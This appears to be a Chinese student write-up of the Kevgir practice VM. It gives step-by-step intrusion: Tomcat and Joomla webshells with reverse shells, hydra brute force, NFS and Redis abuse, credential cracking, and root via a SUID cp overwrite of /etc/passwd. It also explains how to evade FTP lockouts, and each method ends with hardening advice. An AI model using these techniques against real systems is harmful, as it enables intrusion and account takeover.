| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 网络协议 -> Kevgir(Kevg)通关记录 -> 正文阅读 |
|
[网络协议]Kevgir(Kevg)通关记录 |
欢迎大家学习,结合了很多网站的方法。 方法一:8080端口
扫描靶机ip 已知kali机ip为192.168.50.128,主机ip192.168.50.2,易知靶机ip192.168.50.132 扫描相应端口,查看提供服务
记录所有的攻击尝试(无论有没有成功),包括采用这种攻击的原因、使用的工具、命令、具体过程(截图和解释)和结果 登录账号密码采用 选择8080端口进行渗透 发现manager webapp可以通过登录进入,破解账号密码有很多种方式,比如爆破等。但之前没有得到确切信息,无法保证爆破有效,所以采用相对稳妥方式,nikto扫描 得到登陆账号及密码均为tomcat 此时获得shell权限有两种方式 一种比较简单,在metasploit中直接利用,因为是tomcat官网,所以容易想到利用在metasploit上查找tomcat模块的漏洞 search tomcat ,果然找到了很多 但可以利用的是第五个,我们尝试use exploit/multi/http/tomcat_mgr_upload 设置如上,(exploit/multi/http/tomcat_mgr_deploy感觉上应该可以,但没打通) run后成功获得shell 另一种是比较明显的文件上传漏洞,需要上传.war文件以实现木马植入,通过冰蝎实现 之前用蚁剑连了好久,但一直没连上 后来听老师建议换了冰蝎,发现这只是一个普通的上传木马 此木马默认连接密码为rebeyond,成功上传 上传文件为cmd4.war,木马文件为1.jsp 如图,成功获得shell 但自己做实验的时候有一点很迷惑,虚拟终端和反弹shell有什么区别。一开始以为反弹shell的权限会高一点,但其实是一样的,反弹shell只是在自己的终端里实现shell(而非虚拟终端)。虽然最后结果差不多,但既然费心思搞了,还是写一下吧。 Ip地址中填写kali机的ip,端口随意,采用metapreter监听模式 使用use exploit/multi/handler?模块,对靶机进行监听 设置payload为set payload php/meterpreter/reverse_tcp反弹shell模式 通过show options 查看,修改正确 运行payload 点击“给我连” 但是注意,这里执行报错了,上网查证后发现,之前设置的payload错误 应改为java(上传jsp文件木马) 重新运行,“给我连” 成功连接,获得反弹shell 查看/etc/passwd,获得相关用户,可以看到admin,user等,因后续操作修改了pwd,在此不放pwd截图了 尝试通过john破解admin 将passwd中admin的信息保存在桌面文件中,john admin破解 得到密码为admin
记录所有提升权限的尝试(无论有没有成功),包括使用的工具、命令、具体过程和结果 通过 find / -type f -perm -u=s 2>/dev/null,查找可利用的SUID程序 找到可以利用的cp命令 cp命令的具体利用方法虽然和find有差别,但感觉还是套路 cp的使用有两种方法,一种是常规做法 原理是:首先在kali虚拟机中增添admin选项,修改admin用为root(id=0,gid=0) 添加项为admin:x:0:0::/home/admin:/bin/sh 然后再将kali中的passwd上传至靶机中,利用cp,覆盖靶机中的passwd,实现admin用户的提权。最后登录admin,即可利用root权限。具体实现过程如下: Kali开启服务器服务,注意,出现省略号表示6666端口已开启服务,不需要继续等待 成功将passwd上传至靶机 在靶机中,将下载的passwd覆盖原有的passwd 使用su登录admin,输入之前通过john爆破的密码 成功获得root权限 第二种是基于远程shell的使用,运用密码hash值得生成,获取root权限得创新做法(虽然不能保证唯一) 主要原理是:在我们获取shell后,克服反弹shell交互性差的缺点,直接在shell中对靶机进行操作,当然这需要非常小心,因为在远程shell中,vi等文本编辑器的交互性很差。其中,对帐户的爆破,不采用爆破哈希值的做法而是自己生成一个密码hash(比如‘123’的hash值为BjcpFDHIKQ2q6),修改至passwd中,即可直接登录自己的新账户。 绕过外网,我们进入shell权限。 设置admin新密码为1,得到hash值 创建一新文件,命名为passwd3,并修改文件权限,使其可写可读 当时遇到的最大问题就是在shell里对文本的编辑(即vi等文本编辑器的使用) 一方面,shell中vi文本可读性很差,另一方面,vi没有实现按键的交互,比如ESC会显示为[[C等,在网上找了很久,但并没有什么有用资料,还是自己琢磨了很久,大概搞懂了一点,可以实现文本的插入操作,但仅此而已,其他操作(如删除等)还有待研究。 如图,成功用shell修改文件。将修改文件覆盖靶机下的/etc/passwd后,成功实现登录(密码为1) 五、系统防护1. 后台管理避免弱口令 密码至少遵循如下几条:
2. 在系统上以低权限运行Tomcat应用程序 创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录) 3.增加对于本地和基于证书的身份验证 例如部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。 4. 以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。 方法二:8081端口一、信息搜集首先,利用ifconfig指令查看自己kali虚拟机的地址。 扫描IP地址,确定靶机的IP地址为192.168.142.132 利用nmap -sV -p- 192.168.142.132指令来寻找靶机开放的端口,我们可以发现他开放了很多不同服务类型的端口 在此处经过小组内分工,我选择利用开放http服务的8081端口来爆破。 二、外网突破此时我们选择利用joomscan -u http://192.168.142.132:8081/指令来扫描8081端口的CVE,我们用下图这个CVE。 进入https://www.exploit-db.com/exploits/6234/网页,界面如下: 在网页的最下端,有这个端口漏洞利用的提示 我们按照步骤来,先访问下面这个网址:?????? http://192.168.142.132:8081/index.php?option=com_user&view=reset&layout=confirm 其界面如下 按照提示在taken处输入单引号’ 后点击submit 在这里我们为用户admin重新设置密码,我设置为123456后点击submit确认。 随后我们访问http://192.168.142.132:8081/administrator/这个网页 输入用户为admin,密码为刚刚设置的123456,点击login成功进入 随后我们寻找可以反弹shell的地方,寻找了很久,最后通过看别人完成的writeup发现在这个地方: 依次点击Extensions → Template → beez → Edit HTML 这里我们需要修为文件内容反弹shell。我用的kali下的/usr/share/webshells/php/php-reverse-shell.php,修改$Ip为kali 本机的ip地址 修改完之后记得在页面点击应用和保存。同时我们注意到在Edit HTML页面中提示了我们路径 我们访问下面这个页面: 192.168.142.132:8081/templates/beez/index.php 同时,利用nc -lvp 1234(1234端口是因为我们在反弹shell文件中写的是1234)来监听这个端口 三、权限提升先看看这里面都有什么东西 利用 python -c 'import pty;pty.spawn("/bin/bash")' 指令尝试反弹个tty 尝试利用 find / -perm -u=s 2>/dev/null 找sudi权限的文件 发现有cp命令,可以想到通过上传kali虚拟机的passwd文件来获得root权限。我们首先查看靶机的shadow文件,发现权限不够 我们查看靶机文件夹 选择进入tmp文件夹并查看该文件夹的内容 将shadow文件复制到该tmp文件夹中 查看shadow0文件 获得admin用户的密码的hash值 将该哈希值保存到kali机中 爆破该哈希值,得到admin用户的密码也是admin 此时我们回去查看靶机的passwd文件 发现他的UID和GID都是1002 那么我们可以将kali的passwd文件的UID和GID改成0,并覆盖靶机的passwd文件,这样就能获得靶机的root权限,我们查看kali机的passwd文件,我们先建立一个admin的用户 找到passwd文件 将passwd文件的UID和GID改成0 将passwd文件拷贝到桌面,随后在桌面打开终端使用python搭建简易服务器,选择默认的8000端口 我们在利用搭建的http服务器将设置好的passwd文件拷贝到靶机中,我们可以看到显示已经保存,并且http服务器上也有表明成功获取到passwd文件 用我们上传的passwd文件覆盖到靶机中原本的passwd文件 检查后发现成功覆盖 最后我们尝试登陆admin 成功提权!! 方法三:25端口
Nmap扫描结果。
在进行信息收集时,可以发现25端口开放提供ftp服务,版本号是3.0.2。我们首先在msfconsole中和网络上搜索有无此版本可利用的漏洞。 并没有查到此版本的漏洞,因此尝试暴力破解的办法。ftp匿名访问的用户名为:anonymous,密码为空。因此首先尝试是否开启了匿名访问。 可以看到,服务器没有开启此服务,因此使用hydra对ftp进行爆破。Bash命令如下: hydra -L 用户名字典 -P 密码字典 -t 6 -e ns IP地址 -v 爆破得到用户名和密码均为admin。使用ftp登录后,检查目录。 可以发现,该用户的文件夹映射到了该用户的主文件夹下。值得注意的是,此用户被赋予了读写权限,因此可以访问并修改此系统内任何一个文件。为后面的权限提升提供了途径。 由于ftp大体提供了一种server和client之间put和get文件的有效方式,可进行的操作较少。可以发现靶机在1322端口开启了SSH服务,因此使用远程访问控制服务(SSH)来获取更加全面的功能,用户名和密码不变。如下图:
采取Ubuntu内核OverlayFS权限逃逸漏洞分析(CVE-2021-3493)。根据官方介绍,OverlayFs漏洞允许Ubuntu下的本地用户获得root权限。这个漏洞是Ubuntu系统中的特定问题,在该问题中,未正确验证关于用户namespace文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的Overlayfs挂载的补丁,结合这个补丁挂载Overlayfs可以权限逃逸,达到权限提升的目的。 在本机开启http服务让靶机下载39166.c,运行后获取root权限。(在2049端口中有详细过程)
1.避免使用弱密码 密码至少遵循如下几条:
2.连接频率限制及其突破。 管理员一般会限制FTP服务器的连接频率。所谓的连接频率是指管理员定义了在特定时间段内的同一用户的连接次数在这个次数限制之内可以任意连接如果超出这个次数限制则拒绝连接。 但攻击者完全可以定义攻击程序每5.1秒进行一次FTP暴力破解尝试以达到躲开安全策略限制的目的。 3.尝试错误次数限制及其突破。 尝试错误次数限制是指某FTP用户的错误发生次数当该用户的密码尝试次数超过规定的次数以后则短期拒绝该用户的连接。 但大多数攻击者采用的方式就是利用分布式的攻击来解决错误次数的限制每个僵尸计算机都使用独立秒然后再进行后续的尝试。 4. IP锁定及其突破 在实际网络中IP锁定策略有两个典型的应用方式一种是当某账户出现异常以后FTP服务器记录这个账户的IP地址然后加入自己的黑名单从此以后均拒绝此IP的连接除非该用户联系管理员解除黑名单限制另一种方式是IP限制是暂时的过一段时间会自动解除。 针对自动解除限制的情况攻击者可以制一样的方法调整暴力破解的循环时间在限制时间过后继续发起暴力破解攻击。针对永久封锁IP的情况有三种方法可以突破。 ·使用代理突破IP封锁 ·使用ADSL类的动态IP机制突破IP封锁 ·使用SteganosIntemet?Anonym?Pro和Hide?Ip?Easy之类的程序突破IP封锁 5. 计算机标识限制及其突破 所谓用户计算机的标识是指在FTP服务器和用户计算机的交互中服务器通过某种途径记录了用户计算机的某些标识如MAC地址、cookies信息、硬件编号等。当管理员设置的连接频率、错误次数限制达到的时候FTP服务器就会根据计算机标识来识别用户计算机进而进行连接限制。 常见的这种限制是通过网卡的MAC地址识别来实现的而MAC地址是可以更改的攻击者完全可以自己编写程序每次暴力破解发起的时候都改变一次MAC地址。当然网络中到处都是MAC地址的改变程序甚至很多硬件信息也是可以随意生成的。 6.第三方软件Fail2ban加固方法 方法四:2049端口
Nmap扫描同25端口。 NFS服务器的作用是为了两个web服务器共享网络文件的。RSYNC服务器作为NFS服务器实时备份的备份端服务器。 NFS在文件传送或信息传送过程中依赖于RPC协议。NFS是一个文件系统,而RPC是负责信息的传输。 使用更加详细的nmap扫描: nmap -A -T4 -sT -p1-65535 192.168.147.131 可以看到靶机开启了RPC诸多服务。rpcinfo命令的主要用途是利用RPC调用,访问RPC服务器,显示其响应信息,从而查询已注册的RPC服务。使用此命令获取RPC信息。如下图: showmount命令用于查询NFS服务器的相关信息,如下图:
可以得知,NFS服务器上有一共享目录/backup,我们将其挂载到本地。mount命令可以将分区挂接到Linux的一个文件夹下,从而将分区和该目录联系起来,因此我们只要访问这个文件夹,就相当于访问该分区了。最后使用unmount卸除挂在Linux目录中的文件系统。如下图: 可以发现,此zip文件需要密码。可以使用fcrackzip暴力破解此文件。并进行解压。 可以打开此文件夹,发现一些有趣的东西,居然包含了一个DVWA靶场。 使用grep在此文件夹内快速查找password = ‘字段,如下图: 可以在gentleman/configuration.php中发现如下用户和密码: ------------------------------------------------------------------------------------------------------------ /* Database Settings */ var $dbtype = 'mysql'; var $host = 'localhost'; var $user = 'joomlauser'; var $password = '1m4dm1n!'; var $db = 'joomla'; var $dbprefix = 'jos_'; ------------------------------------------------------------------------------------------------------------ 经过搜索,configuration在joomla框架下的作用是配置系统设置,包括了数据库设置和邮箱设置等。上方所述密码并非登录joomla的账号密码,而是登录database的账户密码。Joomla的账户密码通过MD5计算哈希值存储在数据库中,访问数据库后可以修改哈希值来更改用户名和密码。但要访问数据库需要在靶机上进行,没有找到远程访问的途径。这个文件夹的内容就是搭建joomla网页的全部代码,包含php和html文件等。 经过上述尝试后,我们再试着访问文件夹中joomla已知的几个网站(默认端口为8081),分别为 ·? 192.168.147.131/dvwa (可以访问) ·? 192.168.147.131/web-standards ·? 192.168.147.131/zenphoto(可以访问) 下面我们分析zenphoto文件夹中的内容。 发现zp-config.php中的内容很有用。内容如下: ------------------------------------------------------------------------------------------------------------ // Database Information $conf['mysql_user'] = 'root';?????????? // Supply your MySQL user id. $conf['mysql_pass'] = 'toor';?????????? // Supply your MySQL password. $conf['mysql_host'] = 'localhost'; ??????? ?// Supply the name of your MySQL server. $conf['mysql_database'] = 'zenphoto';?? // Supply the name of Zenphoto's database ------------------------------------------------------------------------------------------------------------ 下面我们使用dirsearch。dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。 可以看到有子网站phpmyadmin,登录界面如下图。 使用之前找到的用户名root,密码toor尝试登录。登陆成功。 继续访问其中的zenphoto数据库,可以发现有两个含有administrators的表单,我们无法确认哪个是最新的,因此需要获取更多信息。在zp-config.php中,有如下代码: ------------------------------------------------------------------------------------------------------------ // If you're sharing the database with other tables, use a prefix to be safe. $conf['mysql_prefix'] = "zp_"; ------------------------------------------------------------------------------------------------------------ 它告诉我们使用的是名字为zp_的数据库,这一点也可以通过查询登录日志确定。如下图: 可以在security_log.txt中发现,于2016年2月12日,用户名为admin的用户成功登陆了。其所属数据库为zp_admin。因此我们对表单zp_administrators进行访问。 可以发现,用户名为admin的用户的密码的MD5哈希值为 在文件夹中创建生成哈希的MD5函数并生成admin的哈希,如下图: 接下来我们就可以使用admin:admin对zenphoto进行访问。然而我们的最终目标是获得root权限的shell,在网上查询后,可以借助exploitdb提权。漏洞仓库工具exploitdb是Exploit Database网站(www.exploit-db.com)提供的一个离线漏洞工具。该工具集成了海量的漏洞、Shellcode。进行搜索: 下面我们使用
在靶机使用wget下载php文件。(第一次把这个文件下载了两次,第二个正确的后缀多了个.1,然后就运行不了了,看来必须保证文件名正确) 接下来在本机监听1234端口,可以获取shell。 后续使用exploit-db 39166对osf提权。由于www.exploit-db.com无法访问,并且39166.c无法在searchspolit中找到,所以只能网上下载代码到本机,然后开启http再让靶机下载到指定目录,非常麻烦。如下图。至此,可以获得root权限。 四、系统防护1.配置共享目录(/etc/exports) 使用 anonuid,anongid 配置共享目录,这样可以使挂载到 NFS 服务器的客户机仅具有最小权限。不要使用 no_root_squash。 2. 账号验证 使用 Kerberos V5 作为登录验证系统,要求所有访问人员使用账号登录,提高安全性。 3. 设置 NFSD 的 COPY 数目 在?Linux??中,NFSD 的COPY数目定义在启动文件/etc/rc.d/init.d/nfs中,默认值为8。最佳的 COPY 数目一般取决于可能的客户机数目。 4. 选择传输协议 对于不同的网络情况,有针对地选择 UDP 或 TCP 传输协议。 最佳的 COPY 数目一般取决于可能的客户机数目。您可以通过测试来找到 COPY 数目的近似最佳值,并手动设置该参数。 5. 限制客户机数量 修改 /etc/hosts.allow 和 /etc /hosts.deny 来限制客户机数量。 6. 改变默认的 NFS 端口 NFS 默认使用的是 111 端口,使用 port 参数可以改变这个端口值。改变默认端口值能够在一定程度上增强安全性。 7. 配置 nosuid 和 noexec SUID (Set User ID) 或 SGID (Set Group ID) 程序可以让普通用户以超过自己权限来执行。很多 SUID/SGID 可执行程序是必须的,但也可能被一些恶意的本地用户利用,获取本不应有的权限。尽量减少所有者是 root,或是在 root 组中却拥有 SUID/SGID 属性的文件。 方法五:6379端口
同之前的扫描。
telnet检测连接是否需要密码。 准备SSH密钥。 在目标计算机上确定正确的路径。通过使用rediss -cli工具作为oracle,我们确定用户的home路径。其思想是利用redis-cli返回消息。使用python进行查找路径。 这种攻击的基本思想是使用SAVE命令覆盖靶机的authorized_keys文件。下面制作blob.txt。 更改靶机内存放密钥文件的名称。 进行覆盖。 此时,我们无需密码就可以登录。
同25端口。 ? 四、系统防护1、改变默认端口 2、不要使用密码 使用 SSH 密钥可以让你快速、安全地登录到你的远程设备上。这往往意味着花费在错误的用户名和密码上的时间更少。登录令人愉快的简单。当没有密钥时,就没有入口,甚至没有提示符。 3、决定谁可以登录 大多数发行版不允许 root 用户通过 SSH 登录,这确保只有非特权账户是活跃的,根据需要使用?sudo?命令来提升权限。这就防止了一个明显的、令人痛苦的目标(root)受到简单而常见的脚本攻击。同样,OpenSSH 的一个简单而强大的功能是能够决定哪些用户可以登录到一台机器。 |
|
网络协议 最新文章 |
使用Easyswoole 搭建简单的Websoket服务 |
常见的数据通信方式有哪些? |
Openssl 1024bit RSA算法---公私钥获取和处 |
HTTPS协议的密钥交换流程 |
《小白WEB安全入门》03. 漏洞篇 |
HttpRunner4.x 安装与使用 |
2021-07-04 |
手写RPC学习笔记 |
K8S高可用版本部署 |
mySQL计算IP地址范围 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/25 23:21:14- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |